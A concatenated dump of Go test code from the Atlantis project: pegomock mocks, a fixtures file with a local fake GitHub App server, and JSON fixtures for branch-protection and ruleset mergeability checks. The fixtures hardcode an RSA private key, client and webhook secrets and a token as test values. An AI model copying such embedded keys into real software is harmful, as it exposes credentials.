methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Client", _params, verifier.timeout) return &MockCredentials_Client_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCredentials_Client_OngoingVerification struct { mock *MockCredentials methodInvocations []pegomock.MethodInvocation } func (c *MockCredentials_Client_OngoingVerification) GetCapturedArguments() { } func (c *MockCredentials_Client_OngoingVerification) GetAllCapturedArguments() { } func (verifier *VerifierMockCredentials) GetToken() *MockCredentials_GetToken_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetToken", _params, verifier.timeout) return &MockCredentials_GetToken_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCredentials_GetToken_OngoingVerification struct { mock *MockCredentials methodInvocations []pegomock.MethodInvocation } func (c *MockCredentials_GetToken_OngoingVerification) GetCapturedArguments() { } func (c *MockCredentials_GetToken_OngoingVerification) GetAllCapturedArguments() { } func (verifier *VerifierMockCredentials) GetUser() *MockCredentials_GetUser_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetUser", _params, verifier.timeout) return &MockCredentials_GetUser_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockCredentials_GetUser_OngoingVerification struct { mock *MockCredentials methodInvocations []pegomock.MethodInvocation } func (c *MockCredentials_GetUser_OngoingVerification) GetCapturedArguments() { } func (c *MockCredentials_GetUser_OngoingVerification) GetAllCapturedArguments() { } ================================================ FILE: server/events/vcs/github/mocks/mock_github_pull_request_getter.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events/vcs/github (interfaces: GithubPullRequestGetter) package mocks import ( github "github.com/google/go-github/v83/github" pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockGithubPullRequestGetter struct { fail func(message string, callerSkip ...int) } func NewMockGithubPullRequestGetter(options ...pegomock.Option) *MockGithubPullRequestGetter { mock := &MockGithubPullRequestGetter{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockGithubPullRequestGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockGithubPullRequestGetter) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockGithubPullRequestGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockGithubPullRequestGetter().") } _params := []pegomock.Param{logger, repo, pullNum} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullRequest", _params, []reflect.Type{reflect.TypeOf((**github.PullRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 *github.PullRequest var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(*github.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockGithubPullRequestGetter) VerifyWasCalledOnce() *VerifierMockGithubPullRequestGetter { return &VerifierMockGithubPullRequestGetter{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockGithubPullRequestGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGithubPullRequestGetter { return &VerifierMockGithubPullRequestGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockGithubPullRequestGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubPullRequestGetter { return &VerifierMockGithubPullRequestGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockGithubPullRequestGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGithubPullRequestGetter { return &VerifierMockGithubPullRequestGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockGithubPullRequestGetter struct { mock *MockGithubPullRequestGetter invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockGithubPullRequestGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) *MockGithubPullRequestGetter_GetPullRequest_OngoingVerification { _params := []pegomock.Param{logger, repo, pullNum} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullRequest", _params, verifier.timeout) return &MockGithubPullRequestGetter_GetPullRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockGithubPullRequestGetter_GetPullRequest_OngoingVerification struct { mock *MockGithubPullRequestGetter methodInvocations []pegomock.MethodInvocation } func (c *MockGithubPullRequestGetter_GetPullRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int) { logger, repo, pullNum := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1] } func (c *MockGithubPullRequestGetter_GetPullRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]int, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(int) } } } return } ================================================ FILE: server/events/vcs/github/testdata/fixtures.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package testdata import ( "fmt" "net/http" "net/http/httptest" "net/url" "strings" "testing" "github.com/golang-jwt/jwt/v5" "github.com/google/go-github/v83/github" ) var PullEvent = github.PullRequestEvent{ Sender: &github.User{ Login: github.Ptr("user"), }, Repo: &Repo, PullRequest: &Pull, Action: github.Ptr("opened"), } var Pull = github.PullRequest{ Head: &github.PullRequestBranch{ SHA: github.Ptr("sha256"), Ref: github.Ptr("ref"), Repo: &Repo, }, Base: &github.PullRequestBranch{ SHA: github.Ptr("sha256"), Repo: &Repo, Ref: github.Ptr("basebranch"), }, HTMLURL: github.Ptr("html-url"), User: &github.User{ Login: github.Ptr("user"), }, Number: github.Ptr(1), State: github.Ptr("open"), } var Repo = github.Repository{ FullName: github.Ptr("owner/repo"), Owner: &github.User{Login: github.Ptr("owner")}, Name: github.Ptr("repo"), CloneURL: github.Ptr("https://github.com/owner/repo.git"), } const PrivateKey = `-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAuEPzOUE+kiEH1WLiMeBytTEF856j0hOVcSUSUkZxKvqczkWM 9vo1gDyC7ZXhdH9fKh32aapba3RSsp4ke+giSmYTk2mGR538ShSDxh0OgpJmjiKP X0Bj4j5sFqfXuCtl9SkH4iueivv4R53ktqM+n6hk98l6hRwC39GVIblAh2lEM4L/ 6WvYwuQXPMM5OG2Ryh2tDZ1WS5RKfgq+9ksNJ5Q9UtqtqHkO+E63N5OK9sbzpUUm oNaOl3udTlZD3A8iqwMPVxH4SxgATBPAc+bmjk6BMJ0qIzDcVGTrqrzUiywCTLma szdk8GjzXtPDmuBgNn+o6s02qVGpyydgEuqmTQIDAQABAoIBACL6AvkjQVVLn8kJ dBYznJJ4M8ECo+YEgaFwgAHODT0zRQCCgzd+Vxl4YwHmKV2Lr+y2s0drZt8GvYva KOK8NYYZyi15IlwFyRXmvvykF1UBpSXluYFDH7KaVroWMgRreHcIys5LqVSIb6Bo gDmK0yBLPp8qR29s2b7ScZRtLaqGJiX+j55rNzrZwxHkxFHyG9OG+u9IsBElcKCP kYCVE8ZdYexfnKOZbgn2kZB9qu0T/Mdvki8yk3I2bI6xYO24oQmhnT36qnqWoCBX NuCNsBQgpYZeZET8mEAUmo9d+ABmIHIvSs005agK8xRaP4+6jYgy6WwoejJRF5yd NBuF7aECgYEA50nZ4FiZYV0vcJDxFYeY3kYOvVuKn8OyW+2rg7JIQTremIjv8FkE ZnwuF9ZRxgqLxUIfKKfzp/5l5LrycNoj2YKfHKnRejxRWXqG+ZETfxxlmlRns0QG J4+BYL0CoanDSeA4fuyn4Bv7cy/03TDhfg/Uq0Aeg+hhcPE/vx3ebPsCgYEAy/Pv eDLssOSdeyIxf0Brtocg6aPXIVaLdus+bXmLg77rJIFytAZmTTW8SkkSczWtucI3 FI1I6sei/8FdPzAl62/JDdlf7Wd9K7JIotY4TzT7Tm7QU7xpfLLYIP1bOFjN81rk 77oOD4LsXcosB/U6s1blPJMZ6AlO2EKs10UuR1cCgYBipzuJ2ADEaOz9RLWwi0AH Pza2Sj+c2epQD9ZivD7Zo/Sid3ZwvGeGF13JyR7kLEdmAkgsHUdu1rI7mAolXMaB 1pdrsHureeLxGbRM6za3tzMXWv1Il7FQWoPC8ZwXvMOR1VQDv4nzq7vbbA8z8c+c 57+8tALQHOTDOgQIzwK61QKBgERGVc0EJy4Uag+VY8J4m1ZQKBluqo7TfP6DQ7O8 M5MX73maB/7yAX8pVO39RjrhJlYACRZNMbK+v/ckEQYdJSSKmGCVe0JrGYDuPtic I9+IGfSorf7KHPoMmMN6bPYQ7Gjh7a++tgRFTMEc8956Hnt4xGahy9NcglNtBpVN 6G8jAoGBAMCh028pdzJa/xeBHLLaVB2sc0Fe7993WlsPmnVE779dAz7qMscOtXJK fgtriltLSSD6rTA9hUAsL/X62rY0wdXuNdijjBb/qvrx7CAV6i37NK1CjABNjsfG ZM372Ac6zc1EqSrid2IjET1YqyIW2KGLI1R2xbQc98UGlt48OdWu -----END RSA PRIVATE KEY----- ` // https://developer.github.com/v3/apps/#response-9 var conversionJSON = `{ "id": 1, "node_id": "MDM6QXBwNTk=", "owner": { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "name": "Atlantis", "description": null, "external_url": "https://atlantis.example.com", "html_url": "https://github.com/apps/atlantis", "created_at": "2018-09-13T12:28:37Z", "updated_at": "2018-09-13T12:28:37Z", "client_id": "Iv1.8a61f9b3a7aba766", "client_secret": "1726be1638095a19edd134c77bde3aa2ece1e5d8", "webhook_secret": "e340154128314309424b7c8e90325147d99fdafa", "pem": "%s" }` var appInstallationJSON = `[ { "id": 1, "account": { "login": "github", "id": 1, "node_id": "MDEyOk9yZ2FuaXphdGlvbjE=", "url": "https://api.github.com/orgs/github", "repos_url": "https://api.github.com/orgs/github/repos", "events_url": "https://api.github.com/orgs/github/events", "hooks_url": "https://api.github.com/orgs/github/hooks", "issues_url": "https://api.github.com/orgs/github/issues", "members_url": "https://api.github.com/orgs/github/members{/member}", "public_members_url": "https://api.github.com/orgs/github/public_members{/member}", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "description": "A great organization" }, "access_tokens_url": "https://api.github.com/installations/1/access_tokens", "repositories_url": "https://api.github.com/installation/repositories", "html_url": "https://github.com/organizations/github/settings/installations/1", "app_id": 1, "target_id": 1, "target_type": "Organization", "permissions": { "metadata": "read", "contents": "read", "issues": "write", "single_file": "write" }, "events": [ "push", "pull_request" ], "single_file_name": "config.yml", "repository_selection": "selected" } ]` var appMultipleInstallationJSON = `[ { "id": 1, "account": { "login": "github", "id": 1, "node_id": "MDEyOk9yZ2FuaXphdGlvbjE=", "url": "https://api.github.com/orgs/github", "repos_url": "https://api.github.com/orgs/github/repos", "events_url": "https://api.github.com/orgs/github/events", "hooks_url": "https://api.github.com/orgs/github/hooks", "issues_url": "https://api.github.com/orgs/github/issues", "members_url": "https://api.github.com/orgs/github/members{/member}", "public_members_url": "https://api.github.com/orgs/github/public_members{/member}", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "description": "A great organization" }, "access_tokens_url": "https://api.github.com/installations/1/access_tokens", "repositories_url": "https://api.github.com/installation/repositories", "html_url": "https://github.com/organizations/github/settings/installations/1", "app_id": 1, "target_id": 1, "target_type": "Organization", "permissions": { "metadata": "read", "contents": "read", "issues": "write", "single_file": "write" }, "events": [ "push", "pull_request" ], "single_file_name": "config.yml", "repository_selection": "selected" }, { "id": 2, "account": { "login": "github", "id": 1, "node_id": "MDEyOk9yZ2FuaXphdGlvbjE=", "url": "https://api.github.com/orgs/github", "repos_url": "https://api.github.com/orgs/github/repos", "events_url": "https://api.github.com/orgs/github/events", "hooks_url": "https://api.github.com/orgs/github/hooks", "issues_url": "https://api.github.com/orgs/github/issues", "members_url": "https://api.github.com/orgs/github/members{/member}", "public_members_url": "https://api.github.com/orgs/github/public_members{/member}", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "description": "A great organization" }, "access_tokens_url": "https://api.github.com/installations/1/access_tokens", "repositories_url": "https://api.github.com/installation/repositories", "html_url": "https://github.com/organizations/github/settings/installations/1", "app_id": 1, "target_id": 1, "target_type": "Organization", "permissions": { "metadata": "read", "contents": "read", "issues": "write", "single_file": "write" }, "events": [ "push", "pull_request" ], "single_file_name": "config.yml", "repository_selection": "selected" } ]` // nolint: gosec var appTokenJSON = `{ "token": "some-token", "expires_at": "2050-01-01T00:00:00Z", "permissions": { "issues": "write", "contents": "read" }, "repositories": [ { "id": 1296269, "node_id": "MDEwOlJlcG9zaXRvcnkxMjk2MjY5", "name": "Hello-World", "full_name": "octocat/Hello-World", "owner": { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "private": false, "html_url": "https://github.com/octocat/Hello-World", "description": "This your first repo!", "fork": false, "url": "https://api.github.com/repos/octocat/Hello-World", "archive_url": "http://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}", "assignees_url": "http://api.github.com/repos/octocat/Hello-World/assignees{/user}", "blobs_url": "http://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}", "branches_url": "http://api.github.com/repos/octocat/Hello-World/branches{/branch}", "collaborators_url": "http://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}", "comments_url": "http://api.github.com/repos/octocat/Hello-World/comments{/number}", "commits_url": "http://api.github.com/repos/octocat/Hello-World/commits{/sha}", "compare_url": "http://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}", "contents_url": "http://api.github.com/repos/octocat/Hello-World/contents/{+path}", "contributors_url": "http://api.github.com/repos/octocat/Hello-World/contributors", "deployments_url": "http://api.github.com/repos/octocat/Hello-World/deployments", "downloads_url": "http://api.github.com/repos/octocat/Hello-World/downloads", "events_url": "http://api.github.com/repos/octocat/Hello-World/events", "forks_url": "http://api.github.com/repos/octocat/Hello-World/forks", "git_commits_url": "http://api.github.com/repos/octocat/Hello-World/git/commits{/sha}", "git_refs_url": "http://api.github.com/repos/octocat/Hello-World/git/refs{/sha}", "git_tags_url": "http://api.github.com/repos/octocat/Hello-World/git/tags{/sha}", "git_url": "git:github.com/octocat/Hello-World.git", "issue_comment_url": "http://api.github.com/repos/octocat/Hello-World/issues/comments{/number}", "issue_events_url": "http://api.github.com/repos/octocat/Hello-World/issues/events{/number}", "issues_url": "http://api.github.com/repos/octocat/Hello-World/issues{/number}", "keys_url": "http://api.github.com/repos/octocat/Hello-World/keys{/key_id}", "labels_url": "http://api.github.com/repos/octocat/Hello-World/labels{/name}", "languages_url": "http://api.github.com/repos/octocat/Hello-World/languages", "merges_url": "http://api.github.com/repos/octocat/Hello-World/merges", "milestones_url": "http://api.github.com/repos/octocat/Hello-World/milestones{/number}", "notifications_url": "http://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}", "pulls_url": "http://api.github.com/repos/octocat/Hello-World/pulls{/number}", "releases_url": "http://api.github.com/repos/octocat/Hello-World/releases{/id}", "ssh_url": "git@github.com:octocat/Hello-World.git", "stargazers_url": "http://api.github.com/repos/octocat/Hello-World/stargazers", "statuses_url": "http://api.github.com/repos/octocat/Hello-World/statuses/{sha}", "subscribers_url": "http://api.github.com/repos/octocat/Hello-World/subscribers", "subscription_url": "http://api.github.com/repos/octocat/Hello-World/subscription", "tags_url": "http://api.github.com/repos/octocat/Hello-World/tags", "teams_url": "http://api.github.com/repos/octocat/Hello-World/teams", "trees_url": "http://api.github.com/repos/octocat/Hello-World/git/trees{/sha}", "clone_url": "https://github.com/octocat/Hello-World.git", "mirror_url": "git:git.example.com/octocat/Hello-World", "hooks_url": "http://api.github.com/repos/octocat/Hello-World/hooks", "svn_url": "https://svn.github.com/octocat/Hello-World", "homepage": "https://github.com", "language": null, "forks_count": 9, "stargazers_count": 80, "watchers_count": 80, "size": 108, "default_branch": "main", "open_issues_count": 0, "is_template": true, "topics": [ "octocat", "atom", "electron", "api" ], "has_issues": true, "has_projects": true, "has_wiki": true, "has_pages": false, "has_downloads": true, "archived": false, "disabled": false, "visibility": "public", "pushed_at": "2011-01-26T19:06:43Z", "created_at": "2011-01-26T19:01:12Z", "updated_at": "2011-01-26T19:14:43Z", "permissions": { "admin": false, "push": false, "pull": true }, "allow_rebase_merge": true, "template_repository": null, "temp_clone_token": "ABTLWHOULUVAXGTRYU7OC2876QJ2O", "allow_squash_merge": true, "allow_merge_commit": true, "subscribers_count": 42, "network_count": 0 } ] }` var appJSON = `{ "id": 1, "slug": "octoapp", "node_id": "MDExOkludGVncmF0aW9uMQ==", "owner": { "login": "github", "id": 1, "node_id": "MDEyOk9yZ2FuaXphdGlvbjE=", "url": "https://api.github.com/orgs/github", "repos_url": "https://api.github.com/orgs/github/repos", "events_url": "https://api.github.com/orgs/github/events", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": true }, "name": "Octocat App", "description": "", "external_url": "https://example.com", "html_url": "https://github.com/apps/octoapp", "created_at": "2017-07-08T16:18:44-04:00", "updated_at": "2017-07-08T16:18:44-04:00", "permissions": { "metadata": "read", "contents": "read", "issues": "write", "single_file": "write" }, "events": [ "push", "pull_request" ] }` func validateToken(tokenString string) error { key, err := jwt.ParseRSAPrivateKeyFromPEM([]byte(PrivateKey)) if err != nil { return fmt.Errorf("could not parse private key: %s", err) } token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) { // Don't forget to validate the alg is what you expect: if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok { err := fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) return nil, err } return key.Public(), nil }) if err != nil { return err } if claims, ok := token.Claims.(jwt.MapClaims); !ok || !token.Valid || claims["iss"] != "1" { return fmt.Errorf("Invalid token") } return nil } func GithubAppTestServer(t *testing.T) (string, error) { counter := 0 testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v3/app-manifests/good-code/conversions": encodedKey := strings.Join(strings.Split(PrivateKey, "\n"), "\\n") appInfo := fmt.Sprintf(conversionJSON, encodedKey) w.Write([]byte(appInfo)) // nolint: errcheck // https://developer.github.com/v3/apps/#list-installations case "/api/v3/app/installations": token := strings.Replace(r.Header.Get("Authorization"), "Bearer ", "", 1) if err := validateToken(token); err != nil { w.WriteHeader(403) w.Write([]byte("Invalid token")) // nolint: errcheck return } w.Write([]byte(appInstallationJSON)) // nolint: errcheck return case "/api/v3/apps/some-app": token := strings.Replace(r.Header.Get("Authorization"), "token ", "", 1) // token is taken from appTokenJSON if token != "some-token" { w.WriteHeader(403) w.Write([]byte("Invalid installation token")) // nolint: errcheck return } w.Write([]byte(appJSON)) // nolint: errcheck return case "/api/v3/app/installations/1/access_tokens": token := strings.Replace(r.Header.Get("Authorization"), "Bearer ", "", 1) if err := validateToken(token); err != nil { w.WriteHeader(403) w.Write([]byte("Invalid token")) // nolint: errcheck return } appToken := fmt.Sprintf(appTokenJSON, counter) counter++ w.Write([]byte(appToken)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) return testServerURL.Host, err } func GithubMultipleAppTestServer(t *testing.T) (string, error) { counter := 0 testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v3/app-manifests/good-code/conversions": encodedKey := strings.Join(strings.Split(PrivateKey, "\n"), "\\n") appInfo := fmt.Sprintf(conversionJSON, encodedKey) w.Write([]byte(appInfo)) // nolint: errcheck // https://developer.github.com/v3/apps/#list-installations case "/api/v3/app/installations": token := strings.Replace(r.Header.Get("Authorization"), "Bearer ", "", 1) if err := validateToken(token); err != nil { w.WriteHeader(403) w.Write([]byte("Invalid token")) // nolint: errcheck return } w.Write([]byte(appMultipleInstallationJSON)) // nolint: errcheck return case "/api/v3/apps/some-app": token := strings.Replace(r.Header.Get("Authorization"), "token ", "", 1) // token is taken from appTokenJSON if token != "some-token" { w.WriteHeader(403) w.Write([]byte("Invalid installation token")) // nolint: errcheck return } w.Write([]byte(appJSON)) // nolint: errcheck return case "/api/v3/app/installations/1/access_tokens": token := strings.Replace(r.Header.Get("Authorization"), "Bearer ", "", 1) if err := validateToken(token); err != nil { w.WriteHeader(403) w.Write([]byte("Invalid token")) // nolint: errcheck return } appToken := fmt.Sprintf(appTokenJSON, counter) counter++ w.Write([]byte(appToken)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) return testServerURL.Host, err } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/branch-protection-expected.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [ { "context": "atlantis/apply" }, { "context": "my-required-expected-check" } ] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/branch-protection-failed.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [ { "context": "atlantis/apply" }, { "context": "my-required-expected-check" } ] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "StatusContext", "context": "my-required-expected-check", "state": "FAILED", "isRequired": true } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/branch-protection-passed.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [ { "context": "atlantis/apply" }, { "context": "my-required-expected-check" } ] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "StatusContext", "context": "my-required-expected-check", "state": "SUCCESS", "isRequired": true } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/repository-id.json ================================================ { "data": { "repository": { "databaseId": 120519269 } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-atlantis-apply-expected.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-atlantis-apply-pending.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-expected.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" }, { "context": "my-required-expected-check" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-failed-other-atlantis.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" }, { "context": "other-atlantis/apply" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "StatusContext", "context": "other-atlantis/apply", "state": "FAILED", "isRequired": true }, { "__typename": "StatusContext", "context": "other-atlantis/apply", "state": "SUCCESS", "isRequired": false } ] } } } } ] } } } } } ================================================ FILE: 